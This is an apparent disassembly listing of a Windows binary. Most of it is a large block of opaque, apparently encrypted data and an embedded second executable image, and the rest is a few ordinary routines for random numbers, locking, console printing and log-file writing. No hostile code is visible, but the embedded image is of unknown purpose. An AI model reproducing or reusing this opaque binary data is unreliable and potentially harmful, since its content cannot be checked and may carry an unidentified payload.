79C6BD0Dh dd 0EA43E70Eh, 47B679C4h, 9F84B358h, 15676BDh, 3B3CA5ABh dd 0C35032F1h, 846AFBB0h, 846BA574h, 66DC0D5Bh, 0E3D9B403h dd 0FE1DB662h, 0FAEFDC33h, 0F455E60Fh, 906F80CFh, 0B570ACF9h dd 0C073B545h, 255248EAh, 2CD1A27Eh, 0D95C09A9h, 0B5D536BCh dd 8191C2C6h, 0CE8F8E2Eh, 0E3D5620Bh, 0C18F02D7h, 8E8628F6h dd 455E6EAAh, 4C7BBE04h, 65173B0Dh, 36DC941Eh, 7E17027Eh dd 51F06A65h, 16EE77AEh, 0AC82CA81h, 0B6365D9Dh, 690611A5h dd 903B8B2Fh, 8081D7FFh, 2CDCA92Bh, 0B097137h, 4EF62535h dd 0E71989F3h, 2468D338h, 3A159474h, 39C185B4h, 844DE35Ch dd 9A599C11h, 0EA8389ABh, 0E98012F1h, 9A8971F4h, 0F84D15CAh dd 0A1D4E6EBh, 86AF9C80h, 0E3DAFFCCh, 5E88F7D2h, 769DEE83h dd 0C03AB5F6h, 0F92C701h, 0A1D081B3h, 0D4CBDD34h, 89525CD1h dd 0BE6D2EB0h, 0D4CC6002h, 78AB8453h, 49F1974Eh, 0F5F46F35h dd 0E133ED0Bh, 95B3672Ch, 0B541C8FFh, 0B534EA32h, 0EA66B2h dd 614A3624h, 2CB6081Bh, 0AB2F657Eh, 0F32B623h, 0F9874680h dd 0FBF5D1B0h, 7D2E59D0h, 0EB84A6B4h, 8432C01Dh, 0ADA4B347h dd 0BA540AEEh, 830CAC64h, 0C438A717h, 8D6C04EFh, 0DCAC206Bh dd 679A8694h, 0AE1C7424h, 80F6A7CBh, 71538257h, 9F49C6CEh dd 2E87C11Bh, 35D2205h, 0A132D0DAh, 0E515911Fh, 0D0CFDC4h dd 9696D76Eh, 19088186h, 5DDA7DF2h, 1750D59Fh, 632FB3BFh dd 7ACFBF6Fh, 0BC98B336h, 0A97BF316h, 0BE1D3481h, 77691515h dd 0ABE93D01h, 0CD48EF5Ch, 0C3F71BBAh, 0FA8575C0h, 25BADC12h dd 99305876h, 62A4E25Bh, 0EAD87180h, 48DD18A6h, 0A48BC741h dd 33925EEEh, 1E98F6AEh, 0BE2FD55Fh, 0D2BCC0AEh, 58B0FAF0h dd 0CC3FAC99h, 2090C20h, 49E07CB1h, 0BB426643h, 0A58C1606h dd 7B2C58h, 54D20A6Fh, 502435E8h, 7C164C98h, 51CC59A7h dd 4E16B7E8h, 344F7028h, 0CD0CBDE6h, 0BE0A4AFEh, 6D650F25h dd 66D03DF8h, 5997037Fh, 0DAE5CBD5h, 8A789835h, 0D844793Dh dd 42CB62A5h, 2DEC2B04h, 12EAB323h, 0AAAF2AA8h, 3B212EF6h dd 578C14D5h, 0A44E1911h, 0B56262EBh, 38906451h, 96856E10h dd 9C32D488h, 0B0FC2D62h, 0EA96FE30h, 6FA19F7Bh, 6B79323h dd 0F1DB32EEh, 6AAE485Ah, 9478D11Eh, 222343B1h, 11BD4117h dd 5E303343h, 2C65C10h, 13D78C02h, 0FEB1E12Dh, 769754ACh dd 43BD09F4h, 0A7435202h, 77CA0E95h, 3908E47Fh, 0D923CAC8h dd 0FBEA0F21h, 7F3E2E52h, 41575615h, 6680C82h, 90A314A1h dd 92BCE240h, 2ED711FCh, 70E1E41Dh, 0C1E8FD0Fh, 69BFA47h dd 933310F4h, 83D9C4CCh, 2FE93749h, 0CBD43188h, 8FCE73FBh dd 4AF2B7B7h, 866A4FC8h, 0EBAE4182h, 0F4F70D15h, 54BE6CEBh dd 0A7476112h, 7AEBA4F5h, 477E82CEh, 11E46C4Ah, 70DB57B2h dd 13414131h, 8D199EDh, 2411F59h, 32B205F7h, 5E237D4Ch dd 0E5B49B8Ah, 84F1FFD5h, 0B5D4EEBDh, 99EE4B2h, 0E627AB94h dd 0DB4D9613h, 93D8DAB6h, 0A0E88CA2h, 29DD18EBh, 2019B1BFh dd 3D55A5FFh, 0E446BBD7h, 17854911h, 0FBE5A220h, 0FBE580ADh dd 0F966B27Ah, 0A1FD5F0Bh, 8F356C96h, 9185195Bh, 7362CF9Fh dd 0F9E56D38h, 0B6B29B94h, 160244AEh, 75FC02F6h, 517C90E4h dd 0AC6156Eh, 0DC321C17h, 72A55A89h, 7700EAF8h, 15670C8Eh dd 542038A4h, 0DDE1B77Ch, 5E9611Ch, 0D9589A5Ah, 49783247h dd 0E56ECA47h, 6DD378A6h, 0DD938222h, 0C375D644h, 8C1FDF9Bh dd 6BDE5862h, 7C5629D1h, 0D605D9E9h, 99EF115Fh, 0B7A05581h dd 0BB016B61h, 6CB42FDFh, 56B7D0B1h, 0D13F17DDh, 0FDB29625h dd 772884E8h, 0D3ACCAE5h, 33A1567Ch, 7B1006ABh, 0E1A6430Dh dd 4F4E9B96h, 0BA94CE69h, 0DD2BACE3h, 0BD5124Fh, 0BB3A17F9h dd 6080E8E9h, 91B0F142h, 0E05BB956h, 9B5D5BCEh, 3DF40922h dd 0F989F278h, 3B298915h, 0AE1A974Ch, 72C47C83h, 0C6D7A828h dd 60165122h, 338433AEh, 44700850h, 0A0137074h, 19E33AA6h dd 0C1875E34h, 679BAD78h dd 2CC6B668h, 780F648Bh, 6113E84Ch, 31A153C2h, 0B23FC0E6h dd 7D072828h, 5AEF187Fh, 0C8B1800h, 0F50C9695h, 59E93560h dd 19C3B086h, 669AC0A3h, 0B05DAA57h, 0CF966AF5h, 0A3D089DCh dd 0C2DD3369h, 0DF56C291h, 880E5ECFh, 25B373FBh, 78A09AE4h dd 8B00D18Bh, 838A645Ch, 710D1F9h, 761A7D9Eh, 0B2FD60FFh dd 0ACAC9F4Dh, 0AB46A757h, 11AE4B91h, 553943A2h, 2FCEC31Ah dd 0F37BBF9Ch, 395D5B5h, 7CD9AD08h, 275D5171h, 6FF35F1Eh dd 9C2BF3C8h, 4D72471h, 0B85DE5C6h, 0E4E95796h, 0D7E8953Ch dd 0C63AE728h, 9955D81Ah, 0B3B7490Dh, 23817199h, 470DCA9Dh dd 24E9ED49h, 0B3E36929h, 84EBDADAh, 0D0EDC6CBh, 502B9523h dd 94CDBD7Fh, 0BCBA999Fh, 767E9C51h, 77C25924h, 2F31108Fh dd 36DADF52h, 86A88B7Eh, 700FCEEAh, 59ED8537h, 8EB35F71h dd 18574EA0h, 24C6C5BCh, 4EDA8024h, 0AD449727h, 533AFAC3h dd 6B3FF89Ah, 0CAE0944Eh, 0A54F1F9Dh, 30898805h, 1DD83E3Ch dd 1678A4AEh, 31542DB9h, 0D15F4EEDh, 0DBCAD620h, 0D928EEA6h dd 26E17AD7h, 0DF3C824h, 4920B8B7h, 90C38363h, 4BF3E2A7h dd 98AA6F2Dh, 3D6B6B46h, 69859786h, 8249C96Ch, 11111ACBh dd 6A37324Ch, 301CEB02h, 0A08E3919h, 0FE464B2Dh, 885C1531h dd 91AA70D8h, 0D54845C8h, 0CB8275E4h, 0AD10DCh, 632180E5h dd 780B6200h, 5F7BADE3h, 0CF96B130h, 0C0D8494Eh, 227636FCh dd 42870D52h, 92183E46h, 39DA22AEh, 610FBD22h, 6E00694Fh dd 3D8078F4h, 97D6EB21h, 116C3D5Fh, 926FBF17h, 0F662F88Fh dd 0A7C0151h, 9C9FAD96h, 7EE548D1h, 0D5166858h, 68D220A5h dd 0AD23B934h, 0E9B5AE53h, 0C60E4720h, 0C2D92B8Eh, 27C5418Bh dd 0D28E5503h, 0BDF5055Bh, 0FB6BB372h, 0DA96CA8Ah, 1FAAF8FEh dd 2D58DE58h, 3C68BF3Dh, 1E4D70ECh, 1E621D33h, 0B13C5FDCh dd 8100108h, 7A99894Eh, 7CA93422h, 0D36A1B3Fh, 389C1175h dd 7EB37A97h, 0FB152A5Dh, 0F912F6Bh, 6C52F6A4h, 13D043A9h dd 0C38C621Ah, 7A127C7Fh, 41591F32h, 1A420F1Ch, 0F496DD52h dd 5B01AAB7h, 4AFEF312h, 53146780h, 90BABFA6h, 99F8A61Bh dd 637A42C9h, 0F5AE1160h, 0E374EC68h, 0F5750DDh, 801F677Ch dd 89424164h, 75CAC927h, 99FAFEAFh, 0D71FEA0Ah, 5CE54661h dd 33AE7837h, 0C5767BE5h, 0B8E7AEE2h, 1949A1BDh, 33EDEE4h dd 3F68F108h, 8AE411Fh, 0A46FC2B6h, 0C2442345h, 0E307B675h dd 153201F7h, 4828396Ch, 9BC73946h, 42C95FF6h, 0D3660198h dd 39AA3E86h, 0EDA4FA0Bh, 235306A9h, 2CE8466Ah, 85AC0F59h dd 35818E37h, 0B56AA8D8h, 0FFF96CD1h, 138F5B5Dh, 754AE29Dh dd 19CCDBD0h, 499CF525h, 0D50FD6Ah, 0FD7B2ACh, 0B8DF8F9Ch dd 0CE1D99E0h, 0A6FD6F9Eh, 8AFABD6Ch, 573CCEF6h, 4ABE7C6Ch dd 0C923A2FFh, 36317880h, 86A94E0Dh, 3FE34FE9h, 0D847C3FEh dd 0B84968B6h, 5ED380Bh, 0D59F969Ch, 0D7CE5E5Bh, 0EFC0EFC6h dd 4F25F3EFh, 0C5E531C1h, 0F66C6C60h, 9B0426B7h, 11B351C7h dd 912F361Ch, 49954CEEh, 4957ED5Ch, 0D2E706FCh, 577FB714h dd 32C5CFB9h, 9C71740Ch, 2455EE44h, 51CFF9B1h, 0A31912AEh dd 92D1ED4Bh, 0DF475926h, 60EF8E08h, 2CB3E10Eh, 0DF16812Fh dd 0FB719B37h, 0D3728B7Ah, 6CBBDEDCh, 1314723Fh, 7C7EB32Ch dd 26B2BAF0h, 0DE74DB57h, 8BB2C920h, 0D550ACB0h, 3CFC37FBh dd 525FA764h, 6A6CF5E3h, 9A47B85Bh, 46395E25h, 0B8C09A64h dd 0DF02416h, 4D2F41D7h, 2ADB65D5h, 4A1A083Ah, 46542EAAh dd 8D02FF84h, 762BF201h, 2E74396Bh, 75F8F119h, 3C02C657h dd 2E6DD705h, 8E840196h, 23A7243Fh, 0B3E17CF8h, 2C31D00Ch dd 0C3D692B3h, 0D54707E4h, 6E0BDCAAh, 0F07BE73Ch, 71958DEFh dd 0A76C32CAh, 0DE18F3C9h, 0F73532DBh, 9AE7074Dh, 0CD3DBC73h dd 0C25E2FDEh, 2BB2D724h, 96AB1879h, 47B1B991h, 0CC9B0C89h dd 57F7B268h, 40E2651Eh, 0B1D0DE97h, 1DAC3AC9h, 0B6DD7AF0h dd 470EF505h, 60333C47h, 2CBE1E20h, 6B38F2A8h, 0CCA141CBh dd 77EA6594h, 8CB698E9h, 50D088A7h, 52543813h, 7639398Dh dd 3401B258h, 21B3F893h, 32B5197Bh, 0F9031230h, 2693218h dd 0FB441DB9h, 0D62D7E25h, 0E97570C8h, 7C26792Bh, 1D56195h dd 4AB6430Ch, 426BA44Eh, 0B68A4CAh, 0C312A4F7h, 0EF98B9ABh dd 0DCCCC10Ch, 94255830h, 0EA7637D3h, 5CB98B3Dh, 71E5A8F7h dd 1F8849F7h, 0E254ED75h, 4F4648DFh, 0AE3C841Dh, 394BAC79h dd 0AF053952h, 5058ECB9h, 20AF66D0h, 74F2A90Bh, 0AFB5E7C2h dd 90126FFFh, 0DBE747B7h, 0F3165E3Ch, 0ABFCE3D4h, 2ACF2BA0h dd 1F370A4Dh, 549833E4h, 13A4CE73h, 0BAF64396h, 740C9B7Fh dd 0E14D5C47h, 0E851CF1Dh, 0C1020D2Fh, 9B28A309h, 0AAB093BDh dd 0BBA6AA9Eh, 6F59FC1Bh, 64D2184Ch, 0F68654D8h, 4C06F8DAh dd 6D49704Bh, 0D133DE92h, 3F048D0Bh, 5230E2A0h, 850D88ACh dd 18192142h, 2B1E817Eh, 0A1837CA5h, 0A741B65h, 403D5AE7h dd 85C0E0FDh, 0E678CAD1h, 0D499D914h, 0DDAE3272h, 0CF055F07h dd 76BE2941h, 0D000CD16h, 0B3349DB1h, 0C961032h, 372632FEh dd 28A5BFA4h, 51A8902h, 82A3504Ah, 0A7449C33h, 6CD47E9Fh dd 7FE4FCCFh, 15ACE468h, 0C75353B0h, 9A8F2D43h, 27CF6858h dd 610CAECDh, 96AC9D2Ah, 9FE37A26h, 1F891EEh, 5FC81A24h dd 9F1A6BA4h, 75191D23h, 90DDA7F7h, 0DB26C0F0h, 3B04688Bh dd 0E9AE4D01h, 3D7B475Fh, 63959574h, 0A2A9BB22h, 1341930Fh dd 0A53F4E86h, 47364CE3h, 0C57F4F71h, 7BE3585Dh, 0EA9217B2h dd 92DE6EA3h, 3F05EAC8h, 0FF1D602Fh, 88ADF40Eh, 0C62B8D54h dd 0DD5D2081h, 0C69253E4h, 855AE165h, 7F893B51h, 59AAF9D1h dd 18385522h, 43A88D36h, 7CD05802h, 0EBC7BB90h, 6D356DD4h dd 9292E7E8h, 44A3F5BDh, 0FD9FD566h, 53FCDE78h, 2526B40Ah dd 1B38DE21h, 0D25E5D5Fh, 6CC84747h, 250D87B5h, 0F94D7DD4h dd 0A2046B5Eh, 8C47A366h, 0AC6B53A8h, 0FF474B0Dh, 189DF40h dd 0B7299475h, 0A3F915F9h, 0B4174B43h, 39955967h, 5188E739h dd 0D9951B50h, 6D7B0CE5h, 225FD74Bh, 735911ACh, 87F56ACCh dd 3A5F8635h, 6B7C058Bh, 0F5ACB0DBh, 0FB8AB68h, 0DBA9B00h dd 868D81D5h, 1BB28157h, 7601295Fh, 27CBEB6Ah, 49208B41h dd 9D2B7090h, 3D13CAA3h, 8867B354h, 0F187E502h, 180F4136h dd 466E5C89h, 7FED2F69h, 0D5716B98h, 6A90834Ah, 369342F1h dd 991A59AFh, 6EEFC969h, 0B74E1E52h, 928B303Eh, 63F0D1B8h dd 0A51FB9D6h, 0DEECB570h, 46700D56h, 8F50CCA5h, 0A303C31Fh dd 0D6CFC7E6h, 0F96B122Fh, 53B1CF7Ch, 0E9CB487Ah, 0F9B7B6CCh dd 0D51129D3h, 169E4C02h, 0A557B6Dh, 0D689885Bh, 797AD4CFh dd 552011E5h, 84651866h, 552450A3h, 0CD15B9B4h, 1F8BED6Bh dd 9DA483E4h, 0AA4C7E7Bh, 0ACDCB96Eh, 677C1EC5h, 0B8DD9630h dd 8D6DD3Eh, 75FBC508h, 7C6416C0h, 41C971D2h, 4B4FE860h dd 2CE6030Ah, 16FF47B0h, 57E25046h, 0E6A4A930h, 0ECE20141h dd 0E4F84020h, 3C85D5E6h, 18D9F86Fh, 1B9EC43Bh, 7D647C35h dd 0F15F12FEh, 0D65B3F25h, 0F7C0F7E6h, 0E7EF6271h, 0D815923Eh dd 8917F39Eh, 0CCCEC23h, 3D7BE0DFh, 8F2195CAh, 0ACFBB060h dd 0ED25B006h, 2DE34CB1h, 45AA3FB5h, 5D1E4FDFh, 1329465Dh dd 0A426D2D3h, 6873AAA7h, 7118417Eh, 0C8D7CC5h, 0E8A8ED3Dh dd 4F297902h, 0DF84A38Fh dd 0C073619Eh, 80AE9DF8h, 9853F7B3h, 44EF45CBh, 55C3775Ch dd 0EFF27453h, 0F66435C5h, 0E38356CDh, 0D330A3B5h, 83A43754h dd 0EA0C2B8Eh, 898FBCE1h, 0E534E34h, 2A4BC232h, 8CC1760Dh dd 3391000Fh, 735FB81Dh, 0D3E66190h, 0C306053Bh, 42263ED9h dd 0ED72A2CDh, 8C20545Dh, 0CCB35AE1h, 0AC88A884h, 2E23A943h dd 261736FBh, 0DC20C3F1h, 0D7C9D322h, 0D982CA85h, 0E795644Ch dd 64234BDDh, 10F8A48Ch, 7E65200Dh, 9FD914ECh, 9259083Eh dd 4924C1E2h, 0CFB85ECEh, 0B2E0DF4h, 503B31B0h, 0AF778C8Dh dd 0CC8C02CFh, 33917C92h, 456180B9h, 0FFBED605h, 71403034h dd 5F44A3Ah, 3F66E95h, 3B8F5D0Dh, 0BFEDEA1Ch, 8E26C235h dd 2007B0B4h, 1AF8D2B6h, 0A39C5566h, 0D241EC83h, 648689B4h dd 450B41CEh, 190EEB3Bh, 6CD0BB9Bh, 0A9348CD0h, 8B14DC12h dd 0DA94A958h, 0F3090CA6h, 28138168h, 0E2A1AFE5h, 0B66F04D3h dd 0AB277811h, 7E553E7Fh, 0A1C2B7C4h, 0AABEDD6Ch, 224759ACh dd 6D5A95F9h, 46D0C0D1h, 1C870C98h, 79C7D24Ch, 27F24DABh dd 72ADC584h, 8338A0FCh, 3287E9D7h, 25E0B2DCh, 9E043E5Fh dd 5188CDBDh, 4254C849h, 0EF9300ADh, 0C0E2936Ch, 0DBB10A96h dd 0A5FF125Bh, 40789124h, 9A9484B7h, 0FCE5FCEh, 905709E5h dd 0D527A548h, 0DC6A0E0h, 82C46A34h, 0BDF53D7Ch, 8CF9078Eh dd 0E562057Dh, 34366025h, 9F9CF60Bh, 0B1EB6DAAh, 0A70F97E2h dd 693BBDA4h, 72797C80h, 0D4A4AACEh, 0AE6E8233h, 6A813CD1h dd 5A276377h, 3AF33B1Fh, 186B63D0h, 3CB34F2Ah, 95CAF618h dd 0D91CF7AFh, 8BC9FDF4h, 2BE74FEDh, 466906BFh, 1008FA8Ch dd 91F46044h, 64F2ABBCh, 7843A5C5h, 94A09B56h, 0D16D80EEh dd 0B522D502h, 2832475Eh, 0D72C1049h, 98E1720Dh, 63F524BAh dd 24933755h, 93DC33Bh, 839F487Fh, 0B9356553h, 0EFD79A91h dd 6666B33Ah, 5604C350h, 6707CDD2h, 15E288Bh, 5DA2B0A3h dd 1132D483h, 943B25C8h, 0A4B92DA9h, 2F4527A0h, 0CFC75465h dd 194993C9h, 28C746CBh, 1DADF414h, 146ED358h, 0F7472527h dd 1B2682F4h, 91DD03A8h, 0B5188D4Ah, 0BD333938h, 0B544ADh dd 88C0F7CCh, 0E6A3E42Fh, 1E481961h, 17F6421Eh, 9CB78522h dd 0BF3BAA4h, 0E59EF1C9h, 635EAC76h, 0A705DCE2h, 0C91CD039h dd 6EBF0804h, 0A3CE9990h, 7B51B22Ah, 0AA35EFEDh, 0E069C377h dd 191FAF7Bh, 1E0FD870h, 8E244958h, 5A964F46h, 32EC8B41h dd 2C4E04B3h, 9B3E89DEh, 0ECCF6A85h, 858C01E0h, 7FC60AC2h dd 87CCB057h, 0AB7C8DAEh, 6F9AE229h, 772035A6h, 5A94A47Ch dd 70397626h, 0A6A0EC6Eh, 1D870D7h, 2A729230h, 2208939Ah dd 364BDBA2h, 15756475h, 7BBA8DAh, 4B302C98h, 799CC63Eh dd 862176D8h, 998344CCh, 5BD303EFh, 663FD134h, 898B7A58h dd 0D0DAAEAh, 53182165h, 1DF57E68h, 15A07DFBh, 76C3D9CBh dd 0EA48F739h, 0D658C31Fh, 0AB3469AEh, 9B47ABD1h, 57C2EBBh dd 91B5FA3Ah, 0A55F4780h, 2CCAC012h, 4C74830Fh, 0BEA82653h dd 33B4541Ch, 779C8BE8h, 0FAE40440h, 8FCA1C7Ch, 6D0E213Eh dd 0A8FD0D92h, 736F3FBAh, 5B3F36FCh, 27FB5122h, 92224D44h dd 4E3903BEh, 0F6D427D8h, 0DA5764F1h, 0EAB77617h, 6713934Bh dd 0BB4B943Fh, 57F1FD4Dh, 37982C14h, 18EAF0C1h, 5F20EAFFh dd 78C4D81Ch, 62E3E1E4h, 0FDFA42DFh, 56467006h, 0A366271Fh dd 85DF1106h, 0E52786B3h, 247ACFD5h, 16256B5Ch, 0BBEF2066h dd 0F11F7308h, 6AD0F57Ch, 4B27B144h, 81300FDDh, 96F139D8h dd 0E26D9C62h, 0A7073911h, 0F6CF675Eh, 1EAE1B1Fh, 0ECD221F5h dd 8115B279h, 0C5B044FFh, 4B76303h, 71D1A124h, 7FCEE311h dd 311FD75Dh, 7BE07E1Ch, 0BD86B529h, 47A6429Dh, 49C8D6BFh dd 859DD0D6h, 0F09541B8h, 137E454Bh, 923A0F2Bh, 52942A09h dd 0ECDF4274h, 0BF3B2D80h, 0B373B997h, 0A6CDDF64h, 12F30056h dd 4B55A476h, 0E70D4284h, 312385ECh, 0EF6A9991h, 2AF683C1h dd 0A71CBA92h, 788BFE04h, 411D9067h, 0B04F4F52h, 34DFE845h dd 4E0B1DB9h, 961AF21h, 48B08423h, 48721D8Dh, 0A6A17A1Ch dd 45C2C67Ah, 5E4EF092h, 36E9D8C3h, 0B11915A2h, 0B2C68DF2h dd 1495FCB6h, 952E4A4Bh, 0E9418DCCh, 0C3304FBDh, 4539010Ch dd 0AF7FDD3Ah, 0C7FF9CF3h, 8761C896h, 0F82E271h, 0D4099E3h dd 0FA6FE460h, 9E48E0FDh, 0D134E152h, 4F0F52D9h, 0C4831AAh dd 0D6524D38h, 93F6B512h, 0B83E0D9Bh, 5391788Bh, 8B22B979h dd 0A8A6B71Ch, 28CB4D5Eh, 65A18A9Fh, 0FB22747Bh, 0C58817DBh dd 0D90715F5h, 48641C27h, 0BA03AA0h, 91744F43h, 70223F63h dd 0D0231BDBh, 0D293DBD6h, 0C5E6C0BBh, 0A8C73FF6h, 0FBA8D604h dd 6CCE79Eh, 0B8EE7B2Ch, 28AE6423h, 0FC32C63Ch, 68C6A209h dd 909BA812h, 567BDD4Ah, 0E897F7A7h, 3EBB543Ch, 72209EB3h dd 2109F7A6h, 19CE9E55h, 0B238DD2Fh, 0C9A13DAEh, 8BF7A612h dd 393B307Dh, 0C90FC6DAh, 68B56671h, 9E6B845Eh, 0EC9ACB2h dd 555E6EC4h, 494464A5h, 0C8A7ED34h, 0D7772D44h, 0E976FF63h dd 474BBB57h, 0E507D992h, 0E118EFE4h, 423D60CEh, 78D33192h dd 6D9E0CFCh, 796612AAh, 31ED2497h, 0F181C1CEh, 7087B637h dd 997C238Eh, 0EB9D5A06h, 64C49772h, 4F292F64h, 45D38B41h dd 0BB0D2022h, 640B493Ah, 8A68D622h, 0D83C3524h, 0D4CCA542h dd 75EE56B6h, 8D3E8645h, 234AAF40h, 1A13453Dh, 2A5C82C8h dd 87E80F20h, 356163FDh, 0D93BD26Ah, 7173075Eh, 3E76ACD1h dd 50304282h, 95A8DA31h, 0ECE22087h, 0DD56FD56h, 0CA0928FDh dd 5B56E731h, 17AB02FCh, 0E34F2372h, 0A6E28DB3h, 9378033Bh dd 99BC0FD8h, 4708D520h, 0F5B8DE24h, 0F405E493h, 59432FD5h dd 84B0ED1h, 13882DC1h, 3FB605CDh, 34EE9C05h, 65BCF043h dd 7D7DA270h, 0B95AA39Dh, 0AB425E43h, 457BE60Ah, 987D4F58h dd 0FF62383h, 0FC67FB9Ah, 4F58BF9Ah, 0C5947291h, 924B4A8h dd 1EC6B625h, 0F6A186C5h, 0A36752C1h, 0C8D61CD6h, 0B5513C3h dd 0A1036CC9h, 8BD085CCh, 88E8342Fh, 46786EE9h, 82790BBFh dd 23CD0097h, 23B7E556h, 9BAD2E42h, 0DAC5F484h, 0BFF917AFh dd 0A64EED7Fh, 38F3DFE2h, 72BB2E5Bh, 73616DF5h, 0A03877B5h dd 1FFEBBF9h, 6588A39Ah, 8848642Dh, 3CDF5B4Ch, 27196245h dd 0B712C893h, 0F197454Eh, 6C48F4E9h, 14F57BC6h, 8153A382h dd 7C0FCA93h, 0AC48BBFCh, 0F64C66BEh, 75A0ECEAh, 0D975C973h dd 1504EE4Ah, 810D1097h, 59ABB383h, 4654AF83h, 0C4AE90B4h dd 9DA7C5BAh, 0BE3F8081h, 1381B4Ah, 0B273DD49h, 0EE2414F9h dd 713BF43Dh, 905A4D31h, 300h, 400h, 0FFFF00h, 0B800h dd 0 dd 4000h, 8 dup(0) dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd offset dword_455000 dd 4014C00h, 8F8C4B00h, 47h, 0 dd 0F00E000h, 2010B01h, 0C60032h, 1A60000h, 0 dd 7B6000h, 100000h, 0E00000h, 40000000h, 100000h, 20000h dd 400h, 0 dd 400h, 0 dd 2A00000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 11A0C00h, 7800h, 1400000h, 156D000h, 12h dup(0) dd 11CC400h, 24000h, 6 dup(0) dd 65742E00h, 7478h, 0C4E600h, 100000h, 0C60000h, 40000h dd 3 dup(0) dd 2000h, 64722E60h, 617461h, 21EC00h, 0E00000h, 220000h dd 0CA0000h, 3 dup(0) dd 4000h, 61642E40h, 6174h, 2A8C00h, 1100000h, 180000h dd 0EC0000h, 3 dup(0) dd 4000h, 73722EC0h, 6372h, 156D000h, 1400000h, 1580000h dd 1040000h, 3 dup(0) dd 4000h, 40h, 79h dup(0) db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_443322 proc near ; CODE XREF: DMN1:0044636Ep ; DMN1:00446D59p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_443334 ; --------------------------------------------------------------------------- loc_44332C: ; CODE XREF: sub_443322+14j call dword_411CC4 mov esi, eax loc_443334: ; CODE XREF: sub_443322+8j test esi, esi jz short loc_44332C mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi cmp dword ptr [ebx], 0 jnz short loc_443350 inc dword ptr [ebx] loc_443350: ; CODE XREF: sub_443322+2Aj mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_443322 endp ; =============== S U B R O U T I N E ======================================= sub_44335D proc near ; CODE XREF: sub_448AD1+20p push offset dword_41285C call dword_411CC8 retn sub_44335D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443369 proc near ; CODE XREF: sub_44354B+35p ; sub_443CE4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push offset dword_41285C call dword_411CCC push 1 mov eax, [ebp+arg_0] push eax call sub_449121 pop ecx pop ecx mov ebx, eax push offset dword_41285C call dword_411CD0 mov eax, ebx pop ebx pop ebp retn sub_443369 endp ; =============== S U B R O U T I N E ======================================= sub_443397 proc near ; CODE XREF: sub_44354B+1Fp ; sub_443D5C+Bp ... arg_0 = dword ptr 4 push offset dword_41285C call dword_411CCC push [esp+arg_0] call sub_4494D1 pop ecx push offset dword_41285C call dword_411CD0 retn sub_443397 endp ; =============== S U B R O U T I N E ======================================= sub_4433B8 proc near ; CODE XREF: sub_448AD1+2Ap push offset dword_412874 call dword_411CC8 retn sub_4433B8 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi xor esi, esi cmp dword ptr [ebp+8], 0 jz loc_44347F push 0FFFFFFF5h call dword_411CD4 cmp eax, 0FFFFFFFFh jz loc_44347F push offset dword_412874 call dword_411CCC lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] push 100h lea eax, [ebp-100h] push eax call sub_4495A1 add esp, 10h mov ebx, eax cmp ebx, 0FFh jbe short loc_443461 push 1 lea eax, [ebx+80h] push eax call sub_449121 pop ecx pop ecx mov esi, eax lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] lea eax, [ebx+1Fh] push eax push esi call sub_4495A1 add esp, 10h mov ebx, eax push esi push offset aS_0 ; "%s" call sub_449641 pop ecx pop ecx push esi call sub_4494D1 pop ecx jmp short loc_443474 ; --------------------------------------------------------------------------- loc_443461: ; CODE XREF: DMN1:00443421j lea eax, [ebp-100h] push eax push offset aS_0 ; "%s" call sub_449641 pop ecx pop ecx loc_443474: ; CODE XREF: DMN1:0044345Fj push offset dword_412874 call dword_411CD0 loc_44347F: ; CODE XREF: DMN1:004433D7j ; DMN1:004433EDj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_443486 proc near ; CODE XREF: sub_448AD1+25p push offset dword_41288C call dword_411CC8 retn sub_443486 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push ebx lea eax, [ebp-10h] push eax call dword_411CD8 cmp word ptr [ebp-8], 0Ch jnb short loc_4434B1 mov ebx, offset aAm ; "AM" jmp short loc_4434B6 ; --------------------------------------------------------------------------- loc_4434B1: ; CODE XREF: DMN1:004434A8j mov ebx, offset aPm ; "PM" loc_4434B6: ; CODE XREF: DMN1:004434AFj push ebx movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] mov ecx, 0Ch cdq idiv ecx push edx movzx eax, word ptr [ebp-10h] mov ecx, 64h cdq idiv ecx push edx movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s" push dword ptr [ebp+8] call sub_4496A1 add esp, 24h pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push offset dword_41288C call dword_411CCC push offset aA ; "a" push dword ptr [ebp+8] call sub_4496E1 pop ecx pop ecx mov ebx, eax test ebx, ebx jz short loc_44353B lea eax, [ebp+10h] mov [ebp-4], eax push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push ebx call sub_449791 add esp, 0Ch push ebx call sub_449941 pop ecx loc_44353B: ; CODE XREF: DMN1:0044351Dj push offset dword_41288C call dword_411CD0 pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44354B proc near ; CODE XREF: sub_448AD1+4Bp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] jmp short loc_443570 ; 